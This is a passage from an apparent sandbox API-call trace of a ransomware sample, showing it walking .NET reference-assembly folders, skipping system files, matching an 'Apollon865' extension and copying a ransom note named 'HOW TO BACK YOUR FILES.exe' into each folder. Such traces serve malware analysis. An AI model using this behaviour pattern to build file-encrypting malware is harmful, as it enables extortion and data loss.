	[0062.401] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0062.401] lstrcmpiW (lpString1="v3.5", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.402] lstrcmpiW (lpString1="v3.5", lpString2="Apollon865.txt.exe") returned 1
	[0062.402] lstrcmpiW (lpString1="v3.5", lpString2=".") returned 1
	[0062.402] lstrcmpiW (lpString1="v3.5", lpString2="..") returned 1
	[0062.402] lstrcmpiW (lpString1="v3.5", lpString2="windows") returned -1
	[0062.402] lstrcmpiW (lpString1="v3.5", lpString2="bootmgr") returned 1
	[0062.402] lstrcmpiW (lpString1="v3.5", lpString2="temp") returned 1
	[0062.402] lstrcmpiW (lpString1="v3.5", lpString2="pagefile.sys") returned 1
	[0062.402] lstrcmpiW (lpString1="v3.5", lpString2="boot") returned 1
	[0062.402] lstrcmpiW (lpString1="v3.5", lpString2="ids.txt") returned 1
	[0062.402] lstrcmpiW (lpString1="v3.5", lpString2="ntuser.dat") returned 1
	[0062.402] lstrcmpiW (lpString1="v3.5", lpString2="perflogs") returned 1
	[0062.402] lstrcmpiW (lpString1="v3.5", lpString2="MSBuild") returned 1
	[0062.402] lstrlenW (lpString="v3.5") returned 4
	[0062.402] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned 62
	[0062.402] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="v3.5" | out: lpString1="v3.5") returned="v3.5"
	[0062.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0062.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf4e0
	[0062.402] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0062.402] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0062.402] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.402] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0062.402] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5", iMaxLength=260 | out: lpString1="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5"
	[0062.402] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0062.402] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0062.402] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned 62
	[0062.402] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" | out: lpString1="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5"
	[0062.402] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.402] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.408] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.408] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d456ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d456ff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.408] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.408] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.408] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.408] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d456ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d456ff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.409] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.409] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.409] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.409] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.409] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d456ff0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d456ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.409] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.409] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd239, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1efbd239, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5ce0c4ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1
	[0062.409] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.409] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="Apollon865.txt.exe") returned 1
	[0062.409] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2=".") returned 1
	[0062.409] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="..") returned 1
	[0062.409] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="windows") returned -1
	[0062.409] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="bootmgr") returned 1
	[0062.409] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="temp") returned -1
	[0062.409] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="pagefile.sys") returned -1
	[0062.409] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="boot") returned 1
	[0062.409] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="ids.txt") returned 1
	[0062.409] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="ntuser.dat") returned -1
	[0062.409] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="perflogs") returned -1
	[0062.409] lstrcmpiW (lpString1="Microsoft.Build.Conversion.v3.5.dll", lpString2="MSBuild") returned -1
	[0062.409] lstrlenW (lpString="Microsoft.Build.Conversion.v3.5.dll") returned 35
	[0062.409] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*") returned 64
	[0062.409] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Microsoft.Build.Conversion.v3.5.dll" | out: lpString1="Microsoft.Build.Conversion.v3.5.dll") returned="Microsoft.Build.Conversion.v3.5.dll"
	[0062.409] lstrlenW (lpString="Microsoft.Build.Conversion.v3.5.dll") returned 35
	[0062.409] lstrlenW (lpString="Apollon865") returned 10
	[0062.409] lstrcmpiW (lpString1="n.v3.5.dll", lpString2="Apollon865") returned 1
	[0062.410] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Microsoft.Build.Engine.dll" | out: lpString1="Microsoft.Build.Engine.dll") returned="Microsoft.Build.Engine.dll"
	[0062.410] lstrlenW (lpString="Microsoft.Build.Engine.dll") returned 26
	[0062.410] lstrlenW (lpString="Apollon865") returned 10
	[0062.410] lstrcmpiW (lpString1="Engine.dll", lpString2="Apollon865") returned 1
	[0062.410] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Microsoft.Build.Framework.dll" | out: lpString1="Microsoft.Build.Framework.dll") returned="Microsoft.Build.Framework.dll"
	[0062.410] lstrlenW (lpString="Microsoft.Build.Framework.dll") returned 29
	[0062.410] lstrlenW (lpString="Apollon865") returned 10
	[0062.410] lstrcmpiW (lpString1="mework.dll", lpString2="Apollon865") returned 1
	[0062.410] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Microsoft.Build.Utilities.v3.5.dll" | out: lpString1="Microsoft.Build.Utilities.v3.5.dll") returned="Microsoft.Build.Utilities.v3.5.dll"
	[0062.410] lstrlenW (lpString="Microsoft.Build.Utilities.v3.5.dll") returned 34
	[0062.410] lstrlenW (lpString="Apollon865") returned 10
	[0062.410] lstrcmpiW (lpString1="s.v3.5.dll", lpString2="Apollon865") returned 1
	[0062.410] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Microsoft.VisualC.STLCLR.dll" | out: lpString1="Microsoft.VisualC.STLCLR.dll") returned="Microsoft.VisualC.STLCLR.dll"
	[0062.410] lstrlenW (lpString="Microsoft.VisualC.STLCLR.dll") returned 28
	[0062.410] lstrlenW (lpString="Apollon865") returned 10
	[0062.410] lstrcmpiW (lpString1="STLCLR.dll", lpString2="Apollon865") returned 1
	[0062.410] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="RedistList" | out: lpString1="RedistList") returned="RedistList"
	[0062.410] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0062.410] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x599450
	[0062.410] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0062.410] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad69ad3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad69ad3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad69ad3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1
	[0062.410] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.410] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="Apollon865.txt.exe") returned 1
	[0062.410] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2=".") returned 1
	[0062.411] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="..") returned 1
	[0062.411] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="windows") returned -1
	[0062.411] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="bootmgr") returned 1
	[0062.411] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="temp") returned -1
	[0062.411] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="pagefile.sys") returned 1
	[0062.411] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="boot") returned 1
	[0062.411] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="ids.txt") returned 1
	[0062.411] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="ntuser.dat") returned 1
	[0062.411] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="perflogs") returned 1
	[0062.411] lstrcmpiW (lpString1="System.AddIn.Contract.dll", lpString2="MSBuild") returned 1
	[0062.411] lstrlenW (lpString="System.AddIn.Contract.dll") returned 25
	[0062.411] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned 73
	[0062.411] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.AddIn.Contract.dll" | out: lpString1="System.AddIn.Contract.dll") returned="System.AddIn.Contract.dll"
	[0062.411] lstrlenW (lpString="System.AddIn.Contract.dll") returned 25
	[0062.411] lstrlenW (lpString="Apollon865") returned 10
	[0062.411] lstrcmpiW (lpString1="ntract.dll", lpString2="Apollon865") returned 1
	[0062.411] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.AddIn.dll" | out: lpString1="System.AddIn.dll") returned="System.AddIn.dll"
	[0062.411] lstrlenW (lpString="System.AddIn.dll") returned 16
	[0062.411] lstrlenW (lpString="Apollon865") returned 10
	[0062.411] lstrcmpiW (lpString1=".AddIn.dll", lpString2="Apollon865") returned -1
	[0062.411] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.ComponentModel.DataAnnotations.dll" | out: lpString1="System.ComponentModel.DataAnnotations.dll") returned="System.ComponentModel.DataAnnotations.dll"
	[0062.411] lstrlenW (lpString="System.ComponentModel.DataAnnotations.dll") returned 41
	[0062.411] lstrlenW (lpString="Apollon865") returned 10
	[0062.411] lstrcmpiW (lpString1="ations.dll", lpString2="Apollon865") returned 1
	[0062.411] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Core.dll" | out: lpString1="System.Core.dll") returned="System.Core.dll"
	[0062.411] lstrlenW (lpString="System.Core.dll") returned 15
	[0062.411] lstrlenW (lpString="Apollon865") returned 10
	[0062.411] lstrcmpiW (lpString1="m.Core.dll", lpString2="Apollon865") returned 1
	[0062.412] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Data.DataSetExtensions.dll" | out: lpString1="System.Data.DataSetExtensions.dll") returned="System.Data.DataSetExtensions.dll"
	[0062.412] lstrlenW (lpString="System.Data.DataSetExtensions.dll") returned 33
	[0062.412] lstrlenW (lpString="Apollon865") returned 10
	[0062.412] lstrcmpiW (lpString1="nsions.dll", lpString2="Apollon865") returned 1
	[0062.412] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Data.Entity.Design.dll" | out: lpString1="System.Data.Entity.Design.dll") returned="System.Data.Entity.Design.dll"
	[0062.412] lstrlenW (lpString="System.Data.Entity.Design.dll") returned 29
	[0062.412] lstrlenW (lpString="Apollon865") returned 10
	[0062.412] lstrcmpiW (lpString1="Design.dll", lpString2="Apollon865") returned 1
	[0062.412] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Data.Entity.dll" | out: lpString1="System.Data.Entity.dll") returned="System.Data.Entity.dll"
	[0062.412] lstrlenW (lpString="System.Data.Entity.dll") returned 22
	[0062.412] lstrlenW (lpString="Apollon865") returned 10
	[0062.412] lstrcmpiW (lpString1="Entity.dll", lpString2="Apollon865") returned 1
	[0062.412] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Data.Linq.dll" | out: lpString1="System.Data.Linq.dll") returned="System.Data.Linq.dll"
	[0062.412] lstrlenW (lpString="System.Data.Linq.dll") returned 20
	[0062.412] lstrlenW (lpString="Apollon865") returned 10
	[0062.412] lstrcmpiW (lpString1="a.Linq.dll", lpString2="Apollon865") returned -1
	[0062.412] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Data.Services.Client.dll" | out: lpString1="System.Data.Services.Client.dll") returned="System.Data.Services.Client.dll"
	[0062.412] lstrlenW (lpString="System.Data.Services.Client.dll") returned 31
	[0062.412] lstrlenW (lpString="Apollon865") returned 10
	[0062.412] lstrcmpiW (lpString1="Client.dll", lpString2="Apollon865") returned 1
	[0062.412] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Data.Services.Design.dll" | out: lpString1="System.Data.Services.Design.dll") returned="System.Data.Services.Design.dll"
	[0062.412] lstrlenW (lpString="System.Data.Services.Design.dll") returned 31
	[0062.412] lstrlenW (lpString="Apollon865") returned 10
	[0062.413] lstrcmpiW (lpString1="Design.dll", lpString2="Apollon865") returned 1
	[0062.413] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Data.Services.dll" | out: lpString1="System.Data.Services.dll") returned="System.Data.Services.dll"
	[0062.413] lstrlenW (lpString="System.Data.Services.dll") returned 24
	[0062.413] lstrlenW (lpString="Apollon865") returned 10
	[0062.413] lstrcmpiW (lpString1="rvices.dll", lpString2="Apollon865") returned 1
	[0062.413] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.DirectoryServices.AccountManagement.dll" | out: lpString1="System.DirectoryServices.AccountManagement.dll") returned="System.DirectoryServices.AccountManagement.dll"
	[0062.413] lstrlenW (lpString="System.DirectoryServices.AccountManagement.dll") returned 46
	[0062.413] lstrlenW (lpString="Apollon865") returned 10
	[0062.413] lstrcmpiW (lpString1="gement.dll", lpString2="Apollon865") returned 1
	[0062.413] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Management.Instrumentation.dll" | out: lpString1="System.Management.Instrumentation.dll") returned="System.Management.Instrumentation.dll"
	[0062.413] lstrlenW (lpString="System.Management.Instrumentation.dll") returned 37
	[0062.413] lstrlenW (lpString="Apollon865") returned 10
	[0062.413] lstrcmpiW (lpString1="tation.dll", lpString2="Apollon865") returned 1
	[0062.413] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Net.dll" | out: lpString1="System.Net.dll") returned="System.Net.dll"
	[0062.413] lstrlenW (lpString="System.Net.dll") returned 14
	[0062.413] lstrlenW (lpString="Apollon865") returned 10
	[0062.413] lstrcmpiW (lpString1="em.Net.dll", lpString2="Apollon865") returned 1
	[0062.413] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.ServiceModel.Web.dll" | out: lpString1="System.ServiceModel.Web.dll") returned="System.ServiceModel.Web.dll"
	[0062.413] lstrlenW (lpString="System.ServiceModel.Web.dll") returned 27
	[0062.413] lstrlenW (lpString="Apollon865") returned 10
	[0062.413] lstrcmpiW (lpString1="el.Web.dll", lpString2="Apollon865") returned 1
	[0062.413] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Web.Abstractions.dll" | out: lpString1="System.Web.Abstractions.dll") returned="System.Web.Abstractions.dll"
	[0062.413] lstrlenW (lpString="System.Web.Abstractions.dll") returned 27
	[0062.414] lstrlenW (lpString="Apollon865") returned 10
	[0062.414] lstrcmpiW (lpString1="ctions.dll", lpString2="Apollon865") returned 1
	[0062.414] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Web.DynamicData.Design.dll" | out: lpString1="System.Web.DynamicData.Design.dll") returned="System.Web.DynamicData.Design.dll"
	[0062.414] lstrlenW (lpString="System.Web.DynamicData.Design.dll") returned 33
	[0062.414] lstrlenW (lpString="Apollon865") returned 10
	[0062.414] lstrcmpiW (lpString1="Design.dll", lpString2="Apollon865") returned 1
	[0062.414] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Web.DynamicData.dll" | out: lpString1="System.Web.DynamicData.dll") returned="System.Web.DynamicData.dll"
	[0062.414] lstrlenW (lpString="System.Web.DynamicData.dll") returned 26
	[0062.414] lstrlenW (lpString="Apollon865") returned 10
	[0062.414] lstrcmpiW (lpString1="icData.dll", lpString2="Apollon865") returned 1
	[0062.414] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Web.Entity.Design.dll" | out: lpString1="System.Web.Entity.Design.dll") returned="System.Web.Entity.Design.dll"
	[0062.414] lstrlenW (lpString="System.Web.Entity.Design.dll") returned 28
	[0062.414] lstrlenW (lpString="Apollon865") returned 10
	[0062.414] lstrcmpiW (lpString1="Design.dll", lpString2="Apollon865") returned 1
	[0062.414] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Web.Entity.dll" | out: lpString1="System.Web.Entity.dll") returned="System.Web.Entity.dll"
	[0062.414] lstrlenW (lpString="System.Web.Entity.dll") returned 21
	[0062.414] lstrlenW (lpString="Apollon865") returned 10
	[0062.414] lstrcmpiW (lpString1="Entity.dll", lpString2="Apollon865") returned 1
	[0062.414] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Web.Extensions.Design.dll" | out: lpString1="System.Web.Extensions.Design.dll") returned="System.Web.Extensions.Design.dll"
	[0062.414] lstrlenW (lpString="System.Web.Extensions.Design.dll") returned 32
	[0062.414] lstrlenW (lpString="Apollon865") returned 10
	[0062.414] lstrcmpiW (lpString1="Design.dll", lpString2="Apollon865") returned 1
	[0062.415] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Web.Extensions.dll" | out: lpString1="System.Web.Extensions.dll") returned="System.Web.Extensions.dll"
	[0062.415] lstrlenW (lpString="System.Web.Extensions.dll") returned 25
	[0062.415] lstrlenW (lpString="Apollon865") returned 10
	[0062.415] lstrcmpiW (lpString1="nsions.dll", lpString2="Apollon865") returned 1
	[0062.415] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Web.Routing.dll" | out: lpString1="System.Web.Routing.dll") returned="System.Web.Routing.dll"
	[0062.415] lstrlenW (lpString="System.Web.Routing.dll") returned 22
	[0062.415] lstrlenW (lpString="Apollon865") returned 10
	[0062.415] lstrcmpiW (lpString1="outing.dll", lpString2="Apollon865") returned 1
	[0062.415] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Windows.Presentation.dll" | out: lpString1="System.Windows.Presentation.dll") returned="System.Windows.Presentation.dll"
	[0062.415] lstrlenW (lpString="System.Windows.Presentation.dll") returned 31
	[0062.415] lstrlenW (lpString="Apollon865") returned 10
	[0062.415] lstrcmpiW (lpString1="tation.dll", lpString2="Apollon865") returned 1
	[0062.415] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.WorkflowServices.dll" | out: lpString1="System.WorkflowServices.dll") returned="System.WorkflowServices.dll"
	[0062.415] lstrlenW (lpString="System.WorkflowServices.dll") returned 27
	[0062.415] lstrlenW (lpString="Apollon865") returned 10
	[0062.415] lstrcmpiW (lpString1="rvices.dll", lpString2="Apollon865") returned 1
	[0062.415] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="System.Xml.Linq.dll" | out: lpString1="System.Xml.Linq.dll") returned="System.Xml.Linq.dll"
	[0062.415] lstrlenW (lpString="System.Xml.Linq.dll") returned 19
	[0062.415] lstrlenW (lpString="Apollon865") returned 10
	[0062.415] lstrcmpiW (lpString1="l.Linq.dll", lpString2="Apollon865") returned 1
	[0062.415] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList", iMaxLength=260 | out: lpString1="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList"
	[0062.415] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0062.415] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0062.415] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned 73
	[0062.416] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" | out: lpString1="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList"
	[0062.416] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.416] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.420] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.420] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d456ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d456ff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.420] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.420] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.420] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.420] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d456ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d456ff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.420] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.420] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.420] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.421] lstrcmpiW (lpString1="..", lpString2="..") returned 0
